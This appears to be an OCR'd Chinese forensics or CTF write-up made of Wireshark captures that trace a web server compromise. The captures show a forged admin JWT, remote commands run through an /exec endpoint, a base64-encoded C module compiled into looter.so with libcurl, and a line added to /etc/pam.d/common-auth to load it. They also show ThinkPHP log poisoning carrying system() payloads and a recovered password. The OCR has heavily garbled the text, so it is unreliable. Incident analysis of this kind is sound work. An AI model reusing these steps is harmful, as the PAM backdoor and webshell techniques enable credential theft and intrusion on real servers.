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Tine Source Info
60 8,613312 192.168.241.147 HTTP/1.1 483 Forbidden (text/html)
53 8.612100 192.168.241.147 HTTP/1.1 403 Forbidden (text/html)
46 8.610915 192.168.241.147 HTTP/1.1 483 Forbidden (text/html)
39 8.609733 192.168.241.147 HTTP/1.1 483 Forbidden (text/html)
32 8.608342 192.168.241.147 HTTP/1.1 403 Forbidden (text/html)
7016 37.852773 192.168.241.147 HTTP/1.1 200 OK (image/jpeg)
10 1,743703 180.163.150.161 HTTP/1.1 200 OK (GIF89a)
[ 71.701006 192.168.241.152 GET /__utm.gif?utmwy=5.7.2&utms=4&utmn=1796860666&utmhn=fngmhnnpilhplaeedifhccceomclgfbglutmt=eventlutme=..
5569 37.831338 192.168.241.152 GET /1/running.jpg HTTP/1.1
21486 128.209164  192.168.241.152 GET / HTTP/1.@ Continuation
21479 128.207808  192.168.241.152 GET / HTTP/1.@ Continuation
21472 128.206832  192.168.241.152 GET / HTTP/1.@ Continuation
21465 128.205952  192.168.241.152 GET / HTTP/1.@ Continuation
21458 128205018  192.168.241,152 GET / HTTP/1.@ Continuation
21451 128.204153  192.168.241.152 GET / HTTP/1.8 Continuation
21444 128.203233  192.168.241.152 GET / HTTP/1.@ Continuation
21437 178 87368 147 1AR 341 183 GET / UTTB/1 A Fantinnatine

Destination

192.168.241.152
192.168.241.152
192.168.241.152
192.168.241.152
192.168.241.152
192.168.241.152
192.168.241.152
180.163,150.161
192.168.241.147
192.168.241.147
192.168.241.147
192.168.241.147
192.168.241.147
192.168.241.147
192.168.241.147
192.168.241.147
162 1AR 241 147

Protocel Length
HTTP

HTTP

HTTP

HTTP

HTTP

HTTP

HTTP

HTTP |
HTTP

HTTP

HTTP

HTTP

HTTP

HTTP

HTTP

HTTP

HTTD

Frame 7: 887 bytes on wire (7096 bits), 887 bytes captured (7096 bits) on interface \Device\NPF_{3E@@@DAS-E211-40D3-A87D-198E99DB39BA}, id @

Ethernet II, Src: VMware_f@:15:d2 (@@:0c:29:f0:15:d2), Dst: VMware_f7:f7:a3 (@0:50:56:f7:17:a3)
Internet Protocol Version 4, Src: 192.168.241.152, Dst: 180.163.158.161
Transmission Control Protocol, Src Port: 52689, Dst Port: 80, Seq: 1, Ack: 1, Len: 833

000 @@ 50 56 f7 £7 a3 @@ oc 29 fe 15 d2 @8 ee 45 @0
910 @3 69 al 6f 40 69 40 @6 00 00 c0 a8 f1 98 ba a3
220 96 al cd d1 @@ 58 3d 78 11 fd 2e 38 sb 76 se 18
230 f9 43 0@ e2 00 B0 47 45 54 20 2f Sf 5f 75 74 6d -
510 2e 67 69 66 3f 75 74 6d 77 76 3d 35 2e 37 2e 32 .
950 26 75 74 6d 73 3d 34 26 75 74 6d 6e 3d 31 37 39  &utms=4& utmn=179
960 36 38 36 30 36 36 30 26 75 74 6d 68 6e 3d 66 6e  6860660& utmhn=fn
a70 67 6d 68 6e 6e 70 69 6c 68 7@ 6c 61 65 65 64 69 pmhnnpil hplaeedi
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5 182.901144
6 182.902996
7 110.317064
8 110.318928
9 1108.357816
10 110.3592087
11 110.396532
12 116.396896
18 118.398994
25 110.401519
26 114.557041
27 114.558775
I8 118 158048

192.168.2.197
192.168.2.197
192.168.2.197
192.168.2.197
192.168.2.197
192.168.2.197
192.168.2.197
192.168.2.197
192.168.2.197
192.168.2.197
192.168.2.197
192.168.2.197
187 1A 3 147

GET / HTTP/1.1

HTTP/1.1 208 0K (text/html)

POST /identity HTTP/1.1 (application/x-www-form-urlencoded)
HTTP/1.1 200 OK (text/html)

GET /fexec HTTPf1.1

HTTP/1.1 208 (text/html)

GET /images?ffile=bj.jpeg HTTP/1.1

GET /images?file=head.gif HTTP/1.1

HTTP/1.1 209 OK (GIF89a)

HTTP/1.1 20f OK (IPEG IFIF image)

POST /exec MTTP/1.1 (application/x-www-form-urlencoded)
HTTR/1.1 0K (text/html)

cET /o urtdi

192.168.2.197
192.168.2.197
192.168.2.197
192.168.2.197
192.168.2.197
192.168.2.197
192.168.2.197
192,168.2.197
192.168.2.197
192,168.2.197
192,168.2.197
192.168.2.197
187 148 2 147

HTTP
HTTP
HTTP

HTTP
HTTP
HTTP
HTTP
HTTP

HTTP
HTTP
uTTD

Internet Protocol Version 4, Src: 192.168.2.197, Dft: 192.168.2.197

Transmission Control Protocol, Src Port: 8081, Ds{ Port: 53665, Seq: 12386, Ack: 2285, Len: 554

Content-Type: text/html; charset=utf-g8\r\n
Set-Cookie: token=eylhbGciOilIUzIINiISINRScCIGIkpXVC]9.eylpZCI6MTAWODYsIk1hcENSYWltcyI6eylhdwQioilhZG1pbilsInvzZXIuYwWllIjoivWRtawaifxe.dJArtuXjas3_Cg9a3tr8COXF7DRsuX8UjmbCinKfefc; Pat..

118
L2@
130

P OHTTP Qat Cadkia (httn cat cadkial

Encoded &L R AR S ke

eyJhbGei0iJIUzIINIi IsInRoeCI6TkpXVC]9. ey JpZCIGMTAWODY sTk1heENs

19 bartalel

YWlteyI6eyThdWQiOi ThZGlpbiIsInVzZXJuYW11I joiYWRtaW4i£fX0. dJArt {

HEADER

Il 448, 140 .

Decode |l Fe#zmRs

w¥jas3_Cg9a3tr8COXF7DRsuX8U jmbC1nKf8fe| “alg”: "HS236",
"typ”: "TWT”
}
PAYLOAD
{
“id”: 10086,

2.3
B H -

“MapClaims™: {

“aud”: “admin”

“username”: “admin”

}
STATUS

Decode Success

BRI webshellz J5, BREZ

7B f# -

root

ERE, T Swhoami. Hitalert C‘root) , FrLlRroot

PRET. a2 (a5

Il &@®. nafa:



dm @ TRE Qe
stream 10
To. Tine Source
v 97 216.198006  192.168.
L 98 217.299848  192.168.]

<

> Frame 98: 441 bytes on wire (|
> Null/Loopback

» Internet Protocol Version 4,
> Transmission Control Protocol|

bs
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de
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a6 d2
45 ec
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3b 20 63 68
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02
18
41
4b

co
5a de
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74
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31
43
32
28
59

20
6f

63
58

a3

24
A H :

|POST Jexec HTTP/1.1

Host: 192.168.2.197:8081

content-Length: 14

|cache-control: max-age=0

upgrade-Insecure-Requests: 1

|origin: http://192.168.2.197:8081

|content-Type: application/x-www-form-urlencoded

|user-Agent: Mozilla/5.@ (Macintosh; Intel Mac 05 X 1@_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.6.4515.107
safari/537.36

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/
signed-exchange;v=b3;q=0.9

|Referer: http://192.168.2.197:8081/exec

|Accept-Encoding: gzip, deflate

Accept-Language: zh-CN,zh;q=0.9

Cookie: PHPSESSID=3fBcoeg6hmovfehslcoifmk8os;

| token=eylhbGci0iITUZTINI ISINRSCCI6TkpXVCI9. ayIpZCI6MTAWODCsTk1hcENSYWltcyI6ey)1c2VybmFtZSI6ImFkbluInlg. rurQDSRYEMrFZowsr-
k7KCP13P32sF -RpTXhKsxzvD@

Connection: close

(ommand:whnamiHTkPll.l 200 0K
= t/html; charset=utf-8

|Date: Sat, P7 Aug 2021 05:11:03 GMT

content-Length: 249

|Connection:| close

<!DOCTYPE himl>

<html lang=fen">

| <head>
<meta cHarset="UTF-8">
<title>Yitle</title>

</head>

<body>

|<script lanﬁrage:"javascript“ type="text/javascript”>
alert("root\n")

window.location.href="\/exec"”

n Protocel Length
2.197 HTTP

R.197

HTTP

7 e
A 98, 1 BFH AL, 1 WAK AE. | renls) AGEH.

B4 315 (1208 bytes) ~ BriEEHES Al - i |10
= |

BE EERBRSUE AR o (BRSHA XM RERASE4, W)

B fi# -

/tem/1.c

BEENTRE, RAXEFAKFER.C

| M| tep. strean eq LS

No. Tine Seurce
I 103 391.752016 192.168.
104 392.845146 192.168.

Accept-Language: zh-CN,zh;g=0.9

Cookie: PHPSESSID=3f8coegchmovfehslcoifmksos;

token=eyIhbGci0ilTUzIINIISINRS5cCI6IkpXVCI9. eyIpZCI6MTAWODCsTk1hcENSYWltcyI6eyI1c2VybmFtZST6ImFkbWluInig. rurQD5RYgMrFZowsr-
K7KCP13P325F-RpTXhKsxzvDO

Connection: close

command=echo%2@121uY2x1ZGUgPHNOZG1vLmg#%2bCiNpbmNsdWR1IDXzdGRsaWIuaDAKI21uY2x1ZGUgPGN1cmwvY3VybC50PgojalsjbHVkZSA8C3RyalWsnL
mg2%2bCinpbmNsdwR1IDXzZWN1cmloeSowYWlfYXBwbC5oPgojaws]jbHVkzZsA8c2vjdXIpdHky cGFEX21vZHVSZXMUaDAKI21uY2x1ZGUgPHVUaXNe@ZC50Pgpza
Xp1X3Qgd3IpdGVfZGFOYSh2b21kICpidWZmZXIsIHNpemVfdCBzaXplLCBzaXplX3QgbmllbWIsIHZvaWQgKnVzZXIwkQp7CnJldHVybiBzaXplICogbm11bWI
7CneKCnZvaWQgc2F27U11c3NhZ2UoY2hhciAoKm11lc3NhZ2UpW18pIHSKRK1IMRSAGZNAEP SBOVUXMOWpME CA9IGZVCGVUKCIVAGIWLY55b290ZXIiL CAIYSSiK
TsKZnB1dHMoKm11c3NhZ2Us IGZWKT SKZmNsb3N1KGZwK T sK FQOKUEFNXOVYVEVSTiBpbnQgcGFtX3NEX3N1dGNYZWQoIHBhbVOoYWSkbGVF dCAGCGF taCwgas
8IGZsYWdzL CBpbnQgYXInYywgY29uc3Qgy2hhciAgKmFyZ3YgKSB7Cn1dHVybiBQQU1fU1VDQOVTUz SKfQoKUEFNX@VYVEVST i BpbnQgcGFtX3NtX2FjY3RFb
WdtdChwYW1faGFuzZGx1X3QgKnBhbWgs IG1ludCBmbGFncywgaWs0 IGFyZ2MsIGNvbnNeIGNoYXIgKiphemd2KSB7CnJ1dHVybiBQQU1fUIVDQeVTUZ SKTFQoKUEF
NXOVYVEVSTiBpbnQgcGFtX3NtX2F1dGhlbnRpY2FozsggcGFtX2hhbmRsZv98ICpwYWloL CBpbnQgZmxhz3Ms aWs@IGFyZ2Ms IGNVbnNOIGNOYXIgKiphcmd2T
CkgewppbnQgcmVadmFsOwp jb25zdCBjaGFyKiB1c2VybmFtZTsKY29uc3QgY2hhciogcGFze3dvemQ7CmNoYXIghVz c2FnZVsxMDI@XT sKcmvedmF sIDOgcGF
tX2d1dF91c2VyKHBhbWgSICZ1c2VybmFtZSwgI1VzZXIuYW110iAiKTSKcGFtX2d1dF9pdGVEKHBhbWgSTFBBTVOBVVRIVESLLCA0AMIpZCAGKSAMCGFZc3dve
mQpOwppZiAocmvedmFs ICEQTFBBTVOTVUNDRYNTKSB7CnI1dHVybiByZXR2YWW7 Cn@KCnNucHIpbnRmKG11c3NhZ2usMjAe0CwivXNlemshbwugIxncblBhe3n

1.cHTTP/1.1 20@ OK

3b3JkEiAlclxuIixchVybmFtZwaYXNZd2QyZCk7CnNhdiNZXNlYNdlKCZtZXNZYWdlKTSKCmVBdXJuI FBBTVOTVUNDRVNTOWpS | base64%20-d%20> /tmp/
Content-Type: text/html; charset=utf-g

2

> Frame 1@4: 417 bytes on wire
> Null/Loopback

> Internet Protocol version 4,
> Transmission Control Protocol)
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Date: Sat, @7 Aug 2021 @5:13:59 GMT
Content-Length: 225
Connection: close

<!DOCTYPE html>
<html lang="en">

<head>
<meta charset="UTF-8">
<title>Title</title>
</head>
<body>

<script language="javascript" type="text/javascript">
window.location.href="\/exec";

</script>
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HE 108, 1 4 HE. 1 WEE HE. | rual(c). Ak,
| %171 (2689 bytes) <
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Protocol Length
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.197 HTTP




AH -
BB LR FERE R0, X4 R
B 8 -

looter.so

Sk, RS, RIS MRlooter.so

- . e B 8] | R WS mw [Pt g ean mangses
i s Host: 192.168.2.197:8081

... . | |Content-Length: 180

Cache-Control: max-age=0

Upgrade-Insecure-Requests: 1

Origin: http://192.168.2.197:8081

Content-Type: application/x-www-form-urlencoded

User-Agent: Mozilla/5.@ (Macintosh; Intel Mac 0S X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.107
safari/s37.36

Accept: text/html,application/xhtml+xml,application/xml;q=e.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/
signed-exchange;v=b3;q=0.9

Referer: http://192.168.2.197:8081/exec

Accept-Encoding: gzip, deflate

Accept-Language: zh-CN,zh;q=0.9

Cookie: PHPSESSID=3f8coegbhmovfBhslcoifmksos;

token=eyJhbGci0ilIUZIINIISINR5cCI6IKkpXVCI9. eyIpZCI6MTAWODCSTk1hcENSYWltcyIbeyllc2VybmFtZSI6ImFkbWluInl9. rurQD5RYEMPrFZowWsr -
k7KCP13P325F-RpTXhKsxzvDe

Connection: close

Ho. Tine Source
I 109 498.,914376 192.168.;
110 500.005016 192.168.

Content-Type: text/html; charset=utf-8
Date: Sat, @7 Aug 2021 085:15:46 GMT

> Frame 109: 1846 bytes on wire |Content-Length: 225

> Null/Loopback Connection: close

> Internet Protocol version 4,

<

ransmission Control Protocol| |¢!DOCTYPE hEMI:
<html lang="en">

<head>
<meta charset="UTF-8">
0000 02 00 00 €@ 45 00 04 12 <titles>Title</title>

0019 €@ ag @2 ¢5 co ag @2 c5 | |</head>

0020 85 46 89 f6 80 18 138 eb <body>

0030 @9 70 89 d9 69 70 89 d9 <script language="javascript” type="text/javascript">
0040 65 63 20 48 54 54 50 2f
0058 74 3a 20 31 39 32 2e 31 window.location.href="\/exec";
0060 3a 38 30 38 31 od 0a 43
0070 65 6e 67 74 68 3a 20 31 | |</script>

0080 65 2d 43 6f 6e 74 72 6f i

T R S R

X]= 1
Protocol Length
R.197 HTTP.
p.197 HTTP

QOZMQUATICS9ICIXZXJyh3IgLVdhbGwKCmxvb3R1ciszbzoghGIvdGyLmMKCWd jYyAKKENGTEFHUvkgLWZQSUMgLXNoYX 1 ZCAtWGxpbmt lc 1 AteCAthyA

kQCAKPCAtbGN1 cmw=

w= | = || e | OmEHUTF-sFER

CFLAGS += -Werror -Wall

looter. so: looter.c
gce $(CFLAGS) —fPIC -shared —Xlinker -x —o $@ $< —lcurl

2.6
A -

REERSS LR T —ANEEXM, XHRENBEEAN_ o GEFINEXBREE BRI
B fi# -

[etc/pam.d/common-auth



s

SHTRER LAAE, 85 K 4% 2 /etc/pam.d/common-auth

l1me
129 1922.694826
130 1923.782557

source
192.168..
192.168.

Frame 129: 933 bytes on wire

Null/Loopback

Internet Protocol version 4,

Transmission Control Protocol

D009 @2 09 00 09 45 @9 03 al
9019 C@ a8 @2 ¢5 CO as @2 ¢5
9020 Ac 17 49 cd 8@ 18 18 eb
9920 @9 78 6a Qe @9 78 6a Qe
2040 65 63 20 48 54 54 5@ 2f
@050 74 3a 20 31 39 32 2e 31
2060 3a 38 3@ 38 31 ed ea 43
@979 65 66 67 74 68 3a 20 36
o080 2d 43 6f 6e 74 72 6f 6¢C
2000 65 3d 30 ed ea 55 70 67

3.webshell
BH ¥

B BT,

3.1

BH:

Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://192.168.2.197:8081
Content-Type: application/x-www-form-urlencoded

User-Agent: Mozilla/5.@ (Macintosh; Intel Mac 05 X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.6.4515.167
Safari/537.36

Accept: text/html,application/xhtml+xml,application/xml;q=6.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/
signed-exchange;v=b3;q=0.9

Referer: http://192.168.2.197:8081/exec

Accept-Encoding: gzip, deflate

Accept-Language: zh-CN,zh;q=0.9

Cookie: PHPSESSID=3f8coeg6hmovfohslcoifmksos;

token=eyJhbGciOiJIUzIINIISINRScCIGIkpXVCIS. eyIpZCIBMTAWODCSIk1hcENSYWltcyI6eyIlc2vybmFtZSI6ImFkbWluInd. rurQDSRYEMrFZowsr-
k7KCP13P32sF-RpTXhKsXxzvDo
Connection: close

command=echo%2@"auth%2@optional%2@looter.so”
Content-Type: text/html; charset=utf-8

Date: Sat, @7 Aug 2021 @5:24:30 GMT
Content-Length: 225

Connection: close

>/etc/pam.d/common-authHTTP/1.1 20@ OK

<IDOCTYPE html>
<html lang="en">

<head>
<meta charset="UTF-8">
<title>Title</title>
</head>
<body>

<script language="javascript” type="text/javascript">
window.location.href="\/exec";

</scripts>
</body>
I
1 EFR A 1 BEE AL, 1 teals)

T U E 24 i webshell, 247 1%

REGRAAERANELLE__ .
B % -

Admin123!@#

H LB 234 AT A

B R EGRZAIMINI23!@#.

1§ F http.request.method=="POST" 3k 3 17 i i

p.197
p.197

rrotocol
HTTP
HTTP

Lengtn




fo. Tine Source Info - Destination Protocol Length .

1668 553.867907 192.168.2.197 POST /1.php HTTP/1.1 (application/x-www-form-urlencoded) 192.168.2.197 HTTP
1678 553.984512 192.168.2.197 POST /1.php HTTP/1.1 (application/x-www-form-urlencoded) 192.168.2.197 HTTP
239 35,569958 192,168.2.197 POST /index.php?m=&c=personal&a=ajax_resume_img_scan HTTP/1.1 (application/x-www-form-urlencoded) 192,168.2.197 HTTP
125 14.229654 192.168.2.197 POST /index.php?m=&c=personal&a=refresh_resume HTTP/1.1 (application/x-www-form-urlencoded) 192.168.2.197 HTTP
™ 101 11.239111 192.168.2.197 POST /index.php?m=Home&c=Members&a=login HTTP/1.1 (application/x-www-form-urlencoded) 192.168.2.197 HTTP
306 163.357076 192.168.2.197 POST /index.php?m=home&a=assign_resume™ HTTP/1.1 (application/x-www-form-urlencoded) 192.168.2.197 HTTP

308 213.037480 192.168.2.197 POST /index.php?m=home&a=assign_resume_tpl (application/x-www-form-urlencoded) 192.168.2.197 HTTP

310 239.561632 192.168.2.197 POST /index.php?m=home&a=assign_resume_tpl application/x-www-form-urlencoded) 192.168.2.197 HTTP

313 251.837224 192.168.2.197 POST /index.php?m=home&a=assign_resume_tpl HTTP/1.1 (apPhegation/x-www-form-urlencoded) 192.168.2.197 HTTP

315 280.401747 192.168.2.197 POST /index.php?m=home&a=assign_resume_tpl HTTP/1.1 (application/x-www-form-urlencoded) 192.168.2.197 HTTP

317 292.482507 192.168.2.197 POST /index.php?m=home&a=assign_resume_tpl HTTP/1.1 (application/x-www-form-urlencoded) 192.168.2.197 HTTP

320 306.378411 192.168.2.197 POST /index.php?m=home&a=assign_resume_tpl HTTP/1.1 (application/x-www-form-urlencoded) 192.168.2.197 HTTP

323 340.117099 192.168.2.197 POST /index.php?m=home&a=assign_resume_tpl HTTP/1.1 (application/x-www-form-urlencoded) 192.168.2.197 HTTP

326 348.879123 192.168.2.197 POST /index.php?m=home&a=assign_resume_tpl HTTP/1.1 (application/x-www-form-urlencoded) 192.168.2.197 HTTP

329 383.436587 192.168.2.197 POST /index.php?m=home&a=assign_resume_tpl HTTP/1.1 (application/x-www-form-urlencoded) 192.168.2.197 HTTP

332 396.095915 192.168.2.197 POST /index.php?m=home&a=assign_resume_tpl HTTP/1.1 (application/x-www-form-urlencoded) 192,168,2.197 HTTP L |
a

< >
Referer: http://192.168.2.197:8081/index.php\r\n ‘

Accept-Encoding: gzip, deflate\r\n
Accept-Language: zh-CN,zh;q=0.9\r\n
Cookie: PHPSESSID=c7rg88itbqdegddujcpté7mghé; think language=zh-CN; think_template=default\r\n

65 @d 8a 41 63 63 65 78 74 2d 4c 61 6e 67 75 61 e Accep t-Langua ’
67 65 3a 20 7a 68 2d 43 de 2c 7a 68 3b 71 3d 3@ ge: zh-C N,zh;g=0
2e 39 od @a 43 6f 6f 6b 69 65 3a 20 50 48 50 53 .9--Cook ie: PHPS
45 53 53 49 44 3d 63 37 72 67 38 38 69 74 62 71 ESSID=c7 rg8s8ithq
34 65 67 64 64 75 6a 63 70 74 36 37 6d 71 68 36 4egddujc pte7mghé
3b 20 74 68 69 6e 6b 57 6¢c 61 6e 67 75 61 67 65 ; think_ language
3d 7a 68 2d 43 4e 3b 20 74 68 69 6e 6b 5f 74 65 =zh-CN; think_te
6d 70 6c 61 74 65 3d 64 6c 74 od ea mplate=d efault:-
ed @a 75 73 65 72 6e 61 65 73 26 ‘+userna me=test&

76 61 73 73 77 6f 72 64 ENTETEY password -[NIGER)
EEEFW T ECFEETIEE 26 65 78 70 69 72 65 3d &expire=
30 2]
® ? § Q &= = POST /index.php?m=Home&c=Members&a=login HTTP/1.1 L
S G 6 Host: 1?2‘168.2.19758881 ’—m
¥ Tiae Sourcs | |Conection: keep alive R et Lemm
. Content-Length: 47
LR e ED Ll Accept: application/json, text/javascript, */*; g=0.01 E e
103 11.281408 192.168. X-Requested-With: XMLHttpRequest p.197 HTTP
106 11.382561 192.168.1 |yser-Agent: Mozilla/5.@ (Macintosh; Intel Mac 0S X 18 15 7) Applelebkit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.107 g.197 HTTP
109 11.401184 192.168.] |safari/537.36 2.197 HTTP
102 11.276904 192.168.] |Content-Type: application/x-www-form-urlencoded; charset=UTF-8 R.197 HTTP
105 11.361988 192.168.] |Origin: http://192.168.2.197:8081 p.197 HTTP
- 101 11.239111 192.168.] |Referer: http://192.168.2.197:8081/index.php ?‘197 HTTP
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=c7rg88itbgdegddujcpt67mgh6; think_ language=zh-CN; think template=default
username=test&sEEENolgs ~Admin123 |1 %40%23&expire=0HTTP/1.1 280 OK
Date: Sat, @7 |Aug 2021 09:33:29 GMT
Server: Apache/2.4.7 (Ubuntu)
X-Powered-By: PHP/5.5.9-1ubuntu4.29
Expires: Thu, 19 Nov 1981 @8:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
£ Content-Length: 112
Frame 101: 753 bytes on wire | |[Keep-Alive: timeout=5, max=1@@
Null/Loopback Connection: Keep-Alive
Internet Protocol Version 4, | |Content-Type: application/json; charset=utf-g
Transmission control Protocoll | — — S— > . . S— —
Hypertext Transfer Protocol I inzzztszp::;Tsjg i \u767b\usfs5\u6210\us529f\uffe1”, "data":"\/index.php?m=&c=personal&a=index&uid=1","dialog":""}GET / m
HTML Form URL Encoded: applic e ey
92 00 00 00 45 00 82 ed Connection: keep-alive
c@ a8 82 c5 cO a8 82 ¢5 Cache-Control: max-age=0
54 93 ae 2a 80 18 18 eb Upgrade-Insecure-Requests: 1
Pa 5a 2f 08 @a 5a 2f o8 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac 05 X 1€ _15_7) ApplellebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.107
64 65 78 2e 70 68 7@ 3f | |Safari/537.36
3d 4d 65 6d 62 65 72 73 Accept: text/html,application/xhtml+xml,application/xml;qg=6.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/
20 48 54 54 50 2f 31 2e | |signed-exchange;v=b3;g-0.9
20 31 39 32 2e 31 326 38 Referer: http://192.168.2.197:8081/index.php 7
s Sl i
30 38 31 od 0a 43 6F be | o A, ¢ WAR AL, 5 ranc) AZER
20 6b 65 65 70 2d 61 6C
74 65 6e 74 2d Ac 65 6e £ fiE (22 kB) & BRI MRS ASCII v
an a1 63 &3 &8 7m0 7A 3a | o T




Admin123!%40%23

URLARHESES

Admin123@#

3.2
A H :

BEBHT —MHBX, XHRAREEAR_ . GERRINAX B R
I -

Ivariwww/html/data/Runtime/Logs/Home/21_08_07.log

R AT HR-ER log, FHEMRERT.

B

HXTRRAE I AT, —DRMEERE R, —ARAXEE. XEFRAEEXH, Bl R &Z®RSBphpinfo(), &k
AR B FAH B BHERI T .

SHABEKHTTIPX %, 7E index(34).php%3fm=home&a=assign_resume_tpl 34+ KB phpinfolH, &5 % Ahtml.
1FF.

12021-08-07T17:37:59+08:00 ] 172.17.0.1 /index.php?m=home&a=assign resume_tpl ERR: {&iFAFE: /Application/Home/View/default//var/www/html

System Linux 766b512f452f 5.10.25-linuxkit #1 SMP Tue Mar 23 09:27:39 UTC 2021 x86_64
Build Date Apr 22 2019 18:33:42
Server API Apache 2.0 Handler
Virtual disabled

Directory

Support

Configuration | /etc/php5/apache2

File (php.ini)

Path

Loaded fetc/php5/apache2/php.ini
Configuration

File

Scan this dir /etc/phpS5/apache2/conf.d
for additional

Jini files

Additional .ini | /etc/php5/apache2/conf.d/05-opcache.ini, fetc/php5/apache2/conf.d/10-

files parsed mysqlnd.ini, /etc/php5/apache2/conf.d/10-pdo.ini, Jetc/php5/apache2/conf.d/20-
apcu.ini, fete/php5/apache2/conf.d/20-curl.ini, fetc/php5/apache2/conf.d/20-gd.ini,
fetc/phpS/apache2/conf.d/20-imagick.ini, /fetc/php5/apache2/conf.d/20-in
fete/phpS/apache2/conf.d/20-json.ini, /fetc/php5/apache2/conf.d/20-mcry
/etc/phpS/apache2/conf.d/20-mysqlini, /fetc/phpS/apache2/conf.d/20-mysqli.ini,
fetc/phpS/apache2/conf.d/20-pdo_mysql.ini, /etc/php5/apache2/conf.d/20-
pdo_pgsql.ini, fetc/php5/apache2/conf.d/20-pdo_sglite.ini,
/etc/phpS/apache2/conf.d/20-pgsql.ini, /etc/php5/apache2/conf.d/20-readline.ini,
fetc/phpS/apache2/conf.d/20-redis.ini, fetc/php5/apache2/conf.d/20-sglite3.ini
PHP API 20121113

PHP Extension |20121212

Zend Extension | 220121212

Zend Extension | API220121212,NTS
Build

DHD Futaneinn | ADI2N121212 NITC



ERMR E

REMOTE ADDR 172.17.01
DOCUMENT ROOT Svarfwww/html
REQUEST SCHEME http
CONTEXT PREFIX no value
CONTEXT DOCUMENT ROOT Svarfwww/html
SERVER ADMIN webmaster@localhost
EWRH B
_REQUEST["tpl"] data/Runtime/Logs/Home/21 08 07.log
_REQUEST["aaa"] system('pwd");
_REQUEST["PHPSESSID"] c7rg88itbgdegddujcpt67maghb
_REQUEST["think language"] zh-CN
_REQUEST["think_template"] default
_POST["variable"] 1
_POST["tpl"] data/Runtime/Logs/Home/21 08 07.log
_PO5ST["aaa"] system('pwd");
PHEE R4 BRAE

B REwebshellZ j5, IR 2

www-data

317X B AT T whoamifr 4



316 280.409401 19X HEC XN HTTP/1.1 404 Not Found (text/html)

317 292.482507 192.168.2.197 ‘POST /index.php?m=home&a=assign resume tpl HTTP/1.1 (application/x-www-form-urlencoded)
I 319 292,522598 192.168.2.197 HTTP/1.1 200 OK (text/html)
320 306.378411 192.168.2.197 POST /index.php?m=home&a=assign resume tpl HTTP/1.1 (application/x-www-form-urlencoded)
322 306.394855 192.168.2.197 HTTP/1.1 280 OK (text/html)
323 340.117099 1923163291019 POST /index.php?m=home&a=assign_resume_tpl HTTP/1.1 (application/x-www-form-urlencoded)
325 340.153295 J9F G207 HTTP/1.1 2808 OK (text/html)
326 348.879123 192.168.2.197 POST /index.php?m=home&a=assign_resume_tpl HTTP/1.1 (application/x-www-form-urlencoded)
328 348.913832 19X HEC XL HTTP/1.1 200 OK (text/html)
329 383.436587 192.168.2.197 POST /index.php?m=home&a=assign resume tpl HTTP/1.1 (application/x-www-form-urlencoded)
331 383.473089 192.168.2.197 HTTP/1.1 200 OK (text/html)
¢ 227 20A AARA1S 107 1AR 2 147 PN&T /inday nhn?m=hnmefa=accion racima tnl UTTP/1 1 (annlicatinn/y_uwe_farm-nrlancadsad)
\r\n

[Full request URI: http://192,168.2.197:8081/index.php?m=home&a=assign resume tpl]
[HTTP request 1/1]
[Response in frame: 319]
File Data: 72 bytes
~ HTML Form URL Encoded: application/x-www-form-urlencoded

v Form item: "variable" = "1"
Key: variable
value: 1
v Form item: "tpl" = "data/Runtime/Logs/Hefe/21 @8 07.log"
Key: tpl
Value: data/Runtime/Logs/Home/2% 08 ©7.log
v Form item: "aaa" = "system( T

Key: aaa
Value: system( 'whoami');

[oeeo a2 oo a;a AA A5 oo A2 24 00 A0 AR AR AA DR OA OO e Feed co@e@e s

3MOXBEAMEE, TREwww-data

Wtep. strean eq 28

e, Tine Seurce Info Destination
317 292.482507 192.168.2.197 POST /index.php?m=home&a=assign resume_tpl HTTP/1.1 (application/x-www-form-urlencoded) 192.168.2.197

I 318 292.522597 192.168.2.197 8081 » 60187 [ACK] Seq=1 Ack=753 Win=6367 Len=16332 TSval=173961753 TSecr=173961713 [TCP segment of a rea.. 192.168.2.197
319 292.522598 192.168.2.197 HTTP/1.1 2@0 OK (text/html) 192.168.2.197

<tr><td class="e">Apache Version </td><td class="v">Apache/2.4.7AUbuntu) </td></tr>\n
<tr><td class="e">Apache API Version </td><td class="v">»>2012
<tr><td class="e">Server Administrator </td><td class="v"yebmaster@localhost </td></tr>\n

<tr><td class="e">Hostname:Port </td><td class="v">17 .0.2:80 </td></tr>\n

<tr><td class="e">User/Group </td><td class="v">www-data(33)/33 </td></tr>\n

<tr><td class="e">Max Requests </td><td class="v">Per child: @ - Keep Alive: on - Max Per Connection: 18@ </td></tr>\n
<tr><td class="e">Timeouts </td><td class="v">Connection: 300 - Keep-Alive: 5 </td></tr>\n

PR NPT P T IV S S [P SN gy

PERENF I PPN PN IV E

T M

<

00002e20 2f 74 Z Z ><td clal
0Be02e30 5] 55= U ser/Groy
00002e40 20 VE td class
00002e50 ="V >www -data(33]
00002e60 : )/33 </t d></tr>-

3c 74 72 3e 3c 74 64 20 63 6¢C 61 73 73 3d 22 65 <tr><td class="e
22 3e 4d 61 78 20 52 65 71 75 65 73 74 73 20 3cC ">Max Re quests <

A H -
=25 N\ webshell 3442 &
B R

1.php



|nttp

Tine Source Info De
v 332 396.095915 192.168.2.197 POST /index.php?m=home&a=assign_resume_tpl HTTP/1.1 (application/x-www-form-urlencoded) 1¢
329 383.436587 192.168.2.197 POST /index.php?m=home&a=assign_resume tpl HTTP/1.1 (application/x-www-form-urlencoded) 1t
326 348.879123 192.168.2.197 POST /index.php?m=home&a=assign_resume_tpl HTTP/1.1 (application/x-www-form-urlencoded) 1¢
323 34@.117099 192.168.2.197 POST /index.php?m=home&a=assign_resume tpl HTTP/1.1 (application/x-www-form-urlencoded) 1¢
